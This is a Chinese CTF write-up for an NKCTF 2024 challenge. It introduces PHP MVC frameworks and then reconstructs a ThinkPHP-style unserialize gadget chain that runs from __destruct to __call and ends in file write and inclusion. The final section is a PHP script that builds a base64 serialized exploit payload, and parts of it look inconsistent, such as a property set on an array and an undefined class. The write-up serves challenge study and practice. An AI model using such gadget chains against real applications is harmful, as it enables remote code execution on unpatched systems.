php_mvc学习

前言

打完nkctf 最后一题代码审计还是学长穿的 赛后复现的时候 实在没审计出来 学长说这个是简单的mvc框架

学了那么久不知道什么是php mvc 今天恶补一下

mvc 第一个想到的就是java web的mvc 两者应该有什么共同之处

所有的例子都是来源于nkctf这最后一道题目

MVC

MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式。 MVC把软件系统分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。

image-20240331130559090

路由处理

url参数主要由PATHINFO模式控制入口

image-20240331131135607

我们访问这个网站之后 参数会被放到这里来处理

mvc将全局的路由全部储存在根目录下

函数库文件

框架自带functions.inc.php方法库,包含了很多数据模型创建的一些工具方法

image-20240331140644431

在这里可以设置包含目录

image-20240331140906119

通过__autoload方法 自动加载相关的类

框架要求相关的类命名规则如下

1
首字母大小的类名.clsss.php

Controller

自动加载的控制器需要保存在Controller里面 命名为.class.php 会被自动加载

image-20240331142311070

每个操作都是一个类里面对应的相关方法

view

视图的显示是基于Smarty模板引擎的,继承了Smarty类,并且重写了__construct,display,is_cached,clear_cache 方法。

NKCTF2024 用过就是熟悉 复现

寻找危险函数入口

image-20240331144000717

注意到存在一个loginSubmit

image-20240331233301969

data是一个我们输入的值 构造成一个数组之后 ,将password直接反序列化

给了hint tp 说明类似于thinkphp反序列化的链子,我们对照着看看

入口思路还是类似的 通过window.php的__destruct方法作为入口

image-20240401183013886

在removeFiles函数里面 使用一个循环 将里面的内容拼接到相关的字符串里面

image-20240401184004245

这里可以触发tostring

image-20240401184020015

全局寻找tostring的函数

按照tp链子的思路 走的是

image-20240401185916631

然后触发

image-20240401190206138

这里的作者重写了toArray方法 但是由于items参数可以控制 能触发get方法

在触发view.php ()

image-20240401190942663

这里可以触发Loginsubmit 前面参数可以控制 能触发call

image-20240401191757132

这里可以写入文件

image-20240401192524222

这里可以文件包含

那么我们的思路已经清楚了 构造链子

destruct->tostring->tojson->toarray->get->call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php

namespace think;
class Config{}

namespace think;
abstract class Testone{}//call

namespace think;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use Traversable;
class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable//tostring
{
public $items = [];
public function getIterator()
{
// TODO: Implement getIterator() method.
}

public function offsetExists($offset)
{
// TODO: Implement offsetExists() method.
}

public function offsetGet($offset)
{
// TODO: Implement offsetGet() method.
}

public function offsetSet($offset, $value)
{
// TODO: Implement offsetSet() method.
}

public function offsetUnset($offset)
{
// TODO: Implement offsetUnset() method.
}

public function count()
{
// TODO: Implement count() method.
}

public function jsonSerialize()
{
// TODO: Implement jsonSerialize() method.
}

}

namespace think\process\pipes;

use think\Collection;
use think\Process;
abstract class Pipes{}
class Windows extends Pipes{//destruct
public $files = [];
public function getDescriptors()
{
}

public function getFiles()
{
// TODO: Implement getFiles() method.
}

public function readAndWrite($blocking, $close = false)
{
// TODO: Implement readAndWrite() method.
}

public function areOpen()
{
// TODO: Implement areOpen() method.
}
}

namespace think;
use think\process\pipes\Windows;

class View//get
{ public $engine;
public $data = [];
}


$payload = new Windows();
$payload->files=array(new Collection());
$payload->files->items=new View();
$payload->files->items->data['Loginout']=new Debug();
$payload->files->items->engine=array('time'=>'10086');
echo base64_encode(serialize($payload));